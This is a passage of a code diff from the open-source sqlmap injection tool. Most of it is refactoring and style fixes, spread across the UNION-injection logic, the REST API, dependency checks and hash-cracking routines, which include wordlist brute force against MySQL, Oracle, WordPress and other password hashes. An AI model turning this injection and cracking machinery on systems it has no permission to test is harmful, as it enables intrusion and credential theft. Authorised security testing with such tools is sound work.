if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
@@ -317,7 +312,6 @@ def unionUse(expression, unpack=True, dump=False):
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
@@ -342,7 +336,7 @@ def unionUse(expression, unpack=True, dump=False):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
@@ -364,7 +358,7 @@ def unionUse(expression, unpack=True, dump=False):
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
threadData.shared.progress.progress(threadData.shared.counter)
for index in xrange(1 + len(threadData.shared.buffered)):
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
break

View File

@@ -33,9 +33,10 @@ from lib.core.data import paths
from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.defaults import _defaults
from lib.core.dicts import PART_RUN_CONTENT_TYPES
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import PART_RUN_CONTENT_TYPES
from lib.core.exception import SqlmapConnectionException
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
@@ -43,9 +44,9 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import IS_WIN
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.shell import autoCompletion
from lib.core.subprocessng import Popen
from lib.parse.cmdline import cmdLineParser
from thirdparty.bottle.bottle import abort
from thirdparty.bottle.bottle import error as return_error
from thirdparty.bottle.bottle import get
from thirdparty.bottle.bottle import hook
@@ -95,7 +96,7 @@ class Database(object):
else:
self.cursor.execute(statement)
except sqlite3.OperationalError, ex:
if not "locked" in getSafeExString(ex):
if "locked" not in getSafeExString(ex):
raise
else:
break
@@ -104,22 +105,9 @@ class Database(object):
return self.cursor.fetchall()
def init(self):
self.execute("CREATE TABLE logs("
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, time TEXT, "
"level TEXT, message TEXT"
")")
self.execute("CREATE TABLE data("
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, status INTEGER, "
"content_type INTEGER, value TEXT"
")")
self.execute("CREATE TABLE errors("
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
"taskid INTEGER, error TEXT"
")")
self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
class Task(object):
def __init__(self, taskid, remote_addr):
@@ -173,6 +161,8 @@ class Task(object):
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
else:
self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
@@ -211,7 +201,6 @@ class Task(object):
def engine_has_terminated(self):
return isinstance(self.engine_get_returncode(), int)
# Wrapper functions for sqlmap engine
class StdDbOut(object):
def __init__(self, taskid, messagetype="stdout"):
@@ -278,7 +267,7 @@ def setRestAPILog():
conf.databaseCursor = Database(conf.database)
conf.databaseCursor.connect("client")
except sqlite3.OperationalError, ex:
raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
# Set a logging handler that writes log messages to a IPC database
logger.removeHandler(LOGGER_HANDLER)
@@ -511,9 +500,7 @@ def scan_stop(taskid):
Stop a scan
"""
if (taskid not in DataStore.tasks or
DataStore.tasks[taskid].engine_process() is None or
DataStore.tasks[taskid].engine_has_terminated()):
if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"})
@@ -528,9 +515,7 @@ def scan_kill(taskid):
Kill a scan
"""
if (taskid not in DataStore.tasks or
DataStore.tasks[taskid].engine_process() is None or
DataStore.tasks[taskid].engine_has_terminated()):
if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"})
@@ -585,7 +570,6 @@ def scan_data(taskid):
logger.debug("[%s] Retrieved scan data and error messages" % taskid)
return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
# Functions to handle scans' logs
@get("/scan/<taskid>/log/<start>/<end>")
def scan_log_limited(taskid, start, end):
@@ -613,7 +597,6 @@ def scan_log_limited(taskid, start, end):
logger.debug("[%s] Retrieved scan log messages subset" % taskid)
return jsonize({"success": True, "log": json_log_messages})
@get("/scan/<taskid>/log")
def scan_log(taskid):
"""
@@ -633,7 +616,6 @@ def scan_log(taskid):
logger.debug("[%s] Retrieved scan log messages" % taskid)
return jsonize({"success": True, "log": json_log_messages})
# Function to handle files inside the output directory
@get("/download/<taskid>/<target>/<filename:path>")
def download(taskid, target, filename):
@@ -660,7 +642,6 @@ def download(taskid, target, filename):
logger.warning("[%s] File does not exist %s" % (taskid, target))
return jsonize({"success": False, "message": "File does not exist"})
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
"""
REST-JSON API server
@@ -708,7 +689,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
except ImportError:
if adapter.lower() not in server_names:
errMsg = "Adapter '%s' is unknown. " % adapter
errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys()))
else:
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
@@ -762,6 +743,9 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
logger.critical(errMsg)
return
commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
taskid = None
logger.info("Type 'help' or '?' for list of available commands")
@@ -861,7 +845,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
return
elif command in ("help", "?"):
msg = "help Show this help message\n"
msg = "help Show this help message\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
msg += "data Retrieve and show data for current task\n"

View File

@@ -167,7 +167,7 @@ def crawl(target):
if not conf.bulkFile:
logger.info("searching for links with depth %d" % (i + 1))
runThreads(numThreads, crawlThread, threadChoice=(i>0))
runThreads(numThreads, crawlThread, threadChoice=(i > 0))
clearConsoleLine(True)
if threadData.shared.deeper:

View File

@@ -25,7 +25,7 @@ def checkDependencies():
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
warnMsg = "'%s' third-party library must be " % data[1]
warnMsg += "version >= 1.0.2 to work properly. "
warnMsg += "Download from %s" % data[2]
warnMsg += "Download from '%s'" % data[2]
logger.warn(warnMsg)
elif dbmsName == DBMS.MYSQL:
__import__("pymysql")
@@ -49,7 +49,7 @@ def checkDependencies():
except:
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
warnMsg += "in order to directly connect to the DBMS "
warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2])
logger.warn(warnMsg)
missing_libraries.add(data[1])
@@ -65,7 +65,7 @@ def checkDependencies():
except ImportError:
warnMsg = "sqlmap requires 'python-impacket' third-party library for "
warnMsg += "out-of-band takeover feature. Download from "
warnMsg += "http://code.google.com/p/impacket/"
warnMsg += "'https://github.com/coresecurity/impacket'"
logger.warn(warnMsg)
missing_libraries.add('python-impacket')
@@ -76,7 +76,7 @@ def checkDependencies():
except ImportError:
warnMsg = "sqlmap requires 'python-ntlm' third-party library "
warnMsg += "if you plan to attack a web application behind NTLM "
warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/"
warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
logger.warn(warnMsg)
missing_libraries.add('python-ntlm')
@@ -87,7 +87,7 @@ def checkDependencies():
except ImportError:
warnMsg = "sqlmap requires 'websocket-client' third-party library "
warnMsg += "if you plan to attack a web application using WebSocket. "
warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/"
warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
logger.warn(warnMsg)
missing_libraries.add('websocket-client')
@@ -101,11 +101,10 @@ def checkDependencies():
warnMsg += "be able to take advantage of the sqlmap TAB "
warnMsg += "completion and history support features in the SQL "
warnMsg += "shell and OS shell. Download from "
warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro"
warnMsg += "'https://pypi.org/project/pyreadline/'"
logger.warn(warnMsg)
missing_libraries.add('python-pyreadline')
if len(missing_libraries) == 0:
infoMsg = "all dependencies are installed"
logger.info(infoMsg)

View File

@@ -22,10 +22,9 @@ class _Getch(object):
def __call__(self):
return self.impl()
class _GetchUnix(object):
def __init__(self):
import tty
__import__("tty")
def __call__(self):
import sys
@@ -41,16 +40,14 @@ class _GetchUnix(object):
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
class _GetchWindows(object):
def __init__(self):
import msvcrt
__import__("msvcrt")
def __call__(self):
import msvcrt
return msvcrt.getch()
class _GetchMacCarbon(object):
"""
A function which returns the current ASCII key that is down;
@@ -79,6 +76,4 @@ class _GetchMacCarbon(object):
(what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1]
return chr(msg & 0x000000FF)
getch = _Getch()

View File

@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
try:
from crypt import crypt
except ImportError:
except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171
from thirdparty.fcrypt.fcrypt import crypt
_multiprocessing = None
@@ -16,6 +16,9 @@ try:
# problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
_ = multiprocessing.Queue()
# problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952)
_ = multiprocessing.Value('i')
except (ImportError, OSError):
pass
else:
@@ -132,7 +135,6 @@ def postgres_passwd(password, username, uppercase=False):
'md599e5ea7a6f7c3269995cba3927fd0093'
"""
if isinstance(username, unicode):
username = unicode.encode(username, UNICODE_ENCODING)
@@ -377,7 +379,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
ctx = password + magic + salt
final = md5(password + salt + password).digest()
for pl in xrange(len(password),0,-16):
for pl in xrange(len(password), 0, -16):
if pl > 16:
ctx = ctx + final[:16]
else:
@@ -386,7 +388,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
i = len(password)
while i:
if i & 1:
ctx = ctx + chr(0) #if ($i & 1) { $ctx->add(pack("C", 0)); }
ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); }
else:
ctx = ctx + password[0]
i = i >> 1
@@ -414,7 +416,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
final = md5(ctx1).digest()
hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4)
hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4)
hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
@@ -519,38 +521,38 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
return "%s%s" % (prefix, _encode64(hash_, 16))
__functions__ = {
HASH.MYSQL: mysql_passwd,
HASH.MYSQL_OLD: mysql_old_passwd,
HASH.POSTGRES: postgres_passwd,
HASH.MSSQL: mssql_passwd,
HASH.MSSQL_OLD: mssql_old_passwd,
HASH.MSSQL_NEW: mssql_new_passwd,
HASH.ORACLE: oracle_passwd,
HASH.ORACLE_OLD: oracle_old_passwd,
HASH.MD5_GENERIC: md5_generic_passwd,
HASH.SHA1_GENERIC: sha1_generic_passwd,
HASH.SHA224_GENERIC: sha224_generic_passwd,
HASH.SHA256_GENERIC: sha256_generic_passwd,
HASH.SHA384_GENERIC: sha384_generic_passwd,
HASH.SHA512_GENERIC: sha512_generic_passwd,
HASH.CRYPT_GENERIC: crypt_generic_passwd,
HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.WORDPRESS: wordpress_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
HASH.APACHE_SHA1: apache_sha1_passwd,
HASH.VBULLETIN: vbulletin_passwd,
HASH.VBULLETIN_OLD: vbulletin_passwd,
HASH.SSHA: ssha_passwd,
HASH.SSHA256: ssha256_passwd,
HASH.SSHA512: ssha512_passwd,
HASH.MD5_BASE64: md5_generic_passwd,
HASH.SHA1_BASE64: sha1_generic_passwd,
HASH.SHA256_BASE64: sha256_generic_passwd,
HASH.SHA512_BASE64: sha512_generic_passwd,
}
HASH.MYSQL: mysql_passwd,
HASH.MYSQL_OLD: mysql_old_passwd,
HASH.POSTGRES: postgres_passwd,
HASH.MSSQL: mssql_passwd,
HASH.MSSQL_OLD: mssql_old_passwd,
HASH.MSSQL_NEW: mssql_new_passwd,
HASH.ORACLE: oracle_passwd,
HASH.ORACLE_OLD: oracle_old_passwd,
HASH.MD5_GENERIC: md5_generic_passwd,
HASH.SHA1_GENERIC: sha1_generic_passwd,
HASH.SHA224_GENERIC: sha224_generic_passwd,
HASH.SHA256_GENERIC: sha256_generic_passwd,
HASH.SHA384_GENERIC: sha384_generic_passwd,
HASH.SHA512_GENERIC: sha512_generic_passwd,
HASH.CRYPT_GENERIC: crypt_generic_passwd,
HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.WORDPRESS: wordpress_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
HASH.APACHE_SHA1: apache_sha1_passwd,
HASH.VBULLETIN: vbulletin_passwd,
HASH.VBULLETIN_OLD: vbulletin_passwd,
HASH.SSHA: ssha_passwd,
HASH.SSHA256: ssha256_passwd,
HASH.SSHA512: ssha512_passwd,
HASH.MD5_BASE64: md5_generic_passwd,
HASH.SHA1_BASE64: sha1_generic_passwd,
HASH.SHA256_BASE64: sha256_generic_passwd,
HASH.SHA512_BASE64: sha512_generic_passwd,
}
def storeHashesToFile(attack_dict):
if not attack_dict:
@@ -693,9 +695,7 @@ def hashRecognition(value):
if isinstance(value, basestring):
for name, regex in getPublicTypeMembers(HASH):
# Hashes for Oracle and old MySQL look the same hence these checks
if isOracle and regex == HASH.MYSQL_OLD:
continue
elif isMySQL and regex == HASH.ORACLE_OLD:
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
continue
elif regex == HASH.CRYPT_GENERIC:
if any((value.lower() == value, value.upper() == value)):
@@ -712,7 +712,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
count = 0
rotator = 0
hashes = set([item[0][1] for item in attack_info])
hashes = set(item[0][1] for item in attack_info)
wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist)
@@ -721,6 +721,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
if not attack_info:
break
count += 1
if not isinstance(word, basestring):
continue
@@ -730,8 +732,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
try:
current = __functions__[hash_regex](password=word, uppercase=False)
count += 1
if current in hashes:
for item in attack_info[:]:
((user, hash_), _) = item
@@ -758,7 +758,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
if rotator >= len(ROTATING_CHARS):
rotator = 0
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
if not api:
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
@@ -796,7 +796,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
if found.value:
break
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
count += 1
if not isinstance(word, basestring):
@@ -806,6 +805,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
word = word + suffix
try:
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
if hash_ == current:
if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes
word = word.upper()
@@ -827,12 +828,14 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
if user and not user.startswith(DUMMY_USER_PREFIX):
status += ' (user: %s)' % user
status += " (user: %s)" % user
if not api:
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
@@ -900,7 +903,7 @@ def dictionaryAttack(attack_dict):
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, hash_.decode("base64").encode("hex")), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]

View File

@@ -92,7 +92,7 @@ class HashDB(object):
except sqlite3.DatabaseError, ex:
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
errMsg += "If the problem persists please rerun with `--flush-session`"
raise SqlmapConnectionException, errMsg
raise SqlmapConnectionException(errMsg)
else:
break

View File

@@ -8,256 +8,256 @@ See the file 'LICENSE' for copying permission
# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
htmlEntities = {
'quot': 34,
'amp': 38,
'lt': 60,
'gt': 62,
'nbsp': 160,
'iexcl': 161,
'cent': 162,
'pound': 163,
'curren': 164,
'yen': 165,
'brvbar': 166,
'sect': 167,
'uml': 168,
'copy': 169,
'ordf': 170,
'laquo': 171,
'not': 172,
'shy': 173,
'reg': 174,
'macr': 175,
'deg': 176,
'plusmn': 177,
'sup2': 178,
'sup3': 179,
'acute': 180,
'micro': 181,
'para': 182,
'middot': 183,
'cedil': 184,
'sup1': 185,
'ordm': 186,
'raquo': 187,
'frac14': 188,
'frac12': 189,
'frac34': 190,
'iquest': 191,
'Agrave': 192,
'Aacute': 193,
'Acirc': 194,
'Atilde': 195,
'Auml': 196,
'Aring': 197,
'AElig': 198,
'Ccedil': 199,
'Egrave': 200,
'Eacute': 201,
'Ecirc': 202,
'Euml': 203,
'Igrave': 204,
'Iacute': 205,
'Icirc': 206,
'Iuml': 207,
'ETH': 208,
'Ntilde': 209,
'Ograve': 210,
'Oacute': 211,
'Ocirc': 212,
'Otilde': 213,
'Ouml': 214,
'times': 215,
'Oslash': 216,
'Ugrave': 217,
'Uacute': 218,
'Ucirc': 219,
'Uuml': 220,
'Yacute': 221,
'THORN': 222,
'szlig': 223,
'agrave': 224,
'aacute': 225,
'acirc': 226,
'atilde': 227,
'auml': 228,
'aring': 229,
'aelig': 230,
'ccedil': 231,
'egrave': 232,
'eacute': 233,
'ecirc': 234,
'euml': 235,
'igrave': 236,
'iacute': 237,
'icirc': 238,
'iuml': 239,
'eth': 240,
'ntilde': 241,
'ograve': 242,
'oacute': 243,
'ocirc': 244,
'otilde': 245,
'ouml': 246,
'divide': 247,
'oslash': 248,
'ugrave': 249,
'uacute': 250,
'ucirc': 251,
'uuml': 252,
'yacute': 253,
'thorn': 254,
'yuml': 255,
'OElig': 338,
'oelig': 339,
'Scaron': 352,
'fnof': 402,
'scaron': 353,
'Yuml': 376,
'circ': 710,
'tilde': 732,
'Alpha': 913,
'Beta': 914,
'Gamma': 915,
'Delta': 916,
'Epsilon': 917,
'Zeta': 918,
'Eta': 919,
'Theta': 920,
'Iota': 921,
'Kappa': 922,
'Lambda': 923,
'Mu': 924,
'Nu': 925,
'Xi': 926,
'Omicron': 927,
'Pi': 928,
'Rho': 929,
'Sigma': 931,
'Tau': 932,
'Upsilon': 933,
'Phi': 934,
'Chi': 935,
'Psi': 936,
'Omega': 937,
'alpha': 945,
'beta': 946,
'gamma': 947,
'delta': 948,
'epsilon': 949,
'zeta': 950,
'eta': 951,
'theta': 952,
'iota': 953,
'kappa': 954,
'lambda': 955,
'mu': 956,
'nu': 957,
'xi': 958,
'omicron': 959,
'pi': 960,
'rho': 961,
'sigmaf': 962,
'sigma': 963,
'tau': 964,
'upsilon': 965,
'phi': 966,
'chi': 967,
'psi': 968,
'omega': 969,
'thetasym': 977,
'upsih': 978,
'piv': 982,
'bull': 8226,
'hellip': 8230,
'prime': 8242,
'Prime': 8243,
'oline': 8254,
'frasl': 8260,
'ensp': 8194,
'emsp': 8195,
'thinsp': 8201,
'zwnj': 8204,
'zwj': 8205,
'lrm': 8206,
'rlm': 8207,
'ndash': 8211,
'mdash': 8212,
'lsquo': 8216,
'rsquo': 8217,
'sbquo': 8218,
'ldquo': 8220,
'rdquo': 8221,
'bdquo': 8222,
'dagger': 8224,
'Dagger': 8225,
'permil': 8240,
'lsaquo': 8249,
'rsaquo': 8250,
'euro': 8364,
'weierp': 8472,
'image': 8465,
'real': 8476,
'trade': 8482,
'alefsym': 8501,
'larr': 8592,
'uarr': 8593,
'rarr': 8594,
'darr': 8595,
'harr': 8596,
'crarr': 8629,
'lArr': 8656,
'uArr': 8657,
'rArr': 8658,
'dArr': 8659,
'hArr': 8660,
'forall': 8704,
'part': 8706,
'exist': 8707,
'empty': 8709,
'nabla': 8711,
'isin': 8712,
'notin': 8713,
'ni': 8715,
'prod': 8719,
'sum': 8721,
'minus': 8722,
'lowast': 8727,
'radic': 8730,
'prop': 8733,
'infin': 8734,
'ang': 8736,
'and': 8743,
'or': 8744,
'cap': 8745,
'cup': 8746,
'int': 8747,
'there4': 8756,
'sim': 8764,
'cong': 8773,
'asymp': 8776,
'ne': 8800,
'equiv': 8801,
'le': 8804,
'ge': 8805,
'sub': 8834,
'sup': 8835,
'nsub': 8836,
'sube': 8838,
'supe': 8839,
'oplus': 8853,
'otimes': 8855,
'perp': 8869,
'sdot': 8901,
'lceil': 8968,
'rceil': 8969,
'lfloor': 8970,
'rfloor': 8971,
'lang': 9001,
'rang': 9002,
'loz': 9674,
'spades': 9824,
'clubs': 9827,
'hearts': 9829,
'diams': 9830,
"quot": 34,
"amp": 38,
"lt": 60,
"gt": 62,
"nbsp": 160,
"iexcl": 161,
"cent": 162,
"pound": 163,
"curren": 164,
"yen": 165,
"brvbar": 166,
"sect": 167,
"uml": 168,
"copy": 169,
"ordf": 170,
"laquo": 171,
"not": 172,
"shy": 173,
"reg": 174,
"macr": 175,
"deg": 176,
"plusmn": 177,
"sup2": 178,
"sup3": 179,
"acute": 180,
"micro": 181,
"para": 182,
"middot": 183,
"cedil": 184,
"sup1": 185,
"ordm": 186,
"raquo": 187,
"frac14": 188,
"frac12": 189,
"frac34": 190,
"iquest": 191,
"Agrave": 192,
"Aacute": 193,
"Acirc": 194,
"Atilde": 195,
"Auml": 196,
"Aring": 197,
"AElig": 198,
"Ccedil": 199,
"Egrave": 200,
"Eacute": 201,
"Ecirc": 202,
"Euml": 203,
"Igrave": 204,
"Iacute": 205,
"Icirc": 206,
"Iuml": 207,
"ETH": 208,
"Ntilde": 209,
"Ograve": 210,
"Oacute": 211,
"Ocirc": 212,
"Otilde": 213,
"Ouml": 214,
"times": 215,
"Oslash": 216,
"Ugrave": 217,
"Uacute": 218,
"Ucirc": 219,
"Uuml": 220,
"Yacute": 221,
"THORN": 222,
"szlig": 223,
"agrave": 224,
"aacute": 225,
"acirc": 226,
"atilde": 227,
"auml": 228,
"aring": 229,
"aelig": 230,
"ccedil": 231,
"egrave": 232,
"eacute": 233,
"ecirc": 234,
"euml": 235,
"igrave": 236,
"iacute": 237,
"icirc": 238,
"iuml": 239,
"eth": 240,
"ntilde": 241,
"ograve": 242,
"oacute": 243,
"ocirc": 244,
"otilde": 245,
"ouml": 246,
"divide": 247,
"oslash": 248,
"ugrave": 249,
"uacute": 250,
"ucirc": 251,
"uuml": 252,
"yacute": 253,
"thorn": 254,
"yuml": 255,
"OElig": 338,
"oelig": 339,
"Scaron": 352,
"fnof": 402,
"scaron": 353,
"Yuml": 376,
"circ": 710,
"tilde": 732,
"Alpha": 913,
"Beta": 914,
"Gamma": 915,
"Delta": 916,
"Epsilon": 917,
"Zeta": 918,
"Eta": 919,
"Theta": 920,
"Iota": 921,
"Kappa": 922,
"Lambda": 923,
"Mu": 924,
"Nu": 925,
"Xi": 926,
"Omicron": 927,
"Pi": 928,
"Rho": 929,
"Sigma": 931,
"Tau": 932,
"Upsilon": 933,
"Phi": 934,
"Chi": 935,
"Psi": 936,
"Omega": 937,
"alpha": 945,
"beta": 946,
"gamma": 947,
"delta": 948,
"epsilon": 949,
"zeta": 950,
"eta": 951,
"theta": 952,
"iota": 953,
"kappa": 954,
"lambda": 955,
"mu": 956,
"nu": 957,
"xi": 958,
"omicron": 959,
"pi": 960,
"rho": 961,
"sigmaf": 962,
"sigma": 963,
"tau": 964,
"upsilon": 965,
"phi": 966,
"chi": 967,
"psi": 968,
"omega": 969,
"thetasym": 977,
"upsih": 978,
"piv": 982,
"bull": 8226,
"hellip": 8230,
"prime": 8242,
"Prime": 8243,
"oline": 8254,
"frasl": 8260,
"ensp": 8194,
"emsp": 8195,
"thinsp": 8201,
"zwnj": 8204,
"zwj": 8205,
"lrm": 8206,
"rlm": 8207,
"ndash": 8211,
"mdash": 8212,
"lsquo": 8216,
"rsquo": 8217,
"sbquo": 8218,
"ldquo": 8220,
"rdquo": 8221,
"bdquo": 8222,
"dagger": 8224,
"Dagger": 8225,
"permil": 8240,
"lsaquo": 8249,
"rsaquo": 8250,
"euro": 8364,
"weierp": 8472,
"image": 8465,
"real": 8476,
"trade": 8482,
"alefsym": 8501,
"larr": 8592,
"uarr": 8593,
"rarr": 8594,
"darr": 8595,
"harr": 8596,
"crarr": 8629,
"lArr": 8656,
"uArr": 8657,
"rArr": 8658,
"dArr": 8659,
"hArr": 8660,
"forall": 8704,
"part": 8706,
"exist": 8707,
"empty": 8709,
"nabla": 8711,
"isin": 8712,
"notin": 8713,
"ni": 8715,
"prod": 8719,
"sum": 8721,
"minus": 8722,
"lowast": 8727,
"radic": 8730,
"prop": 8733,
"infin": 8734,
"ang": 8736,
"and": 8743,
"or": 8744,
"cap": 8745,
"cup": 8746,
"int": 8747,
"there4": 8756,
"sim": 8764,
"cong": 8773,
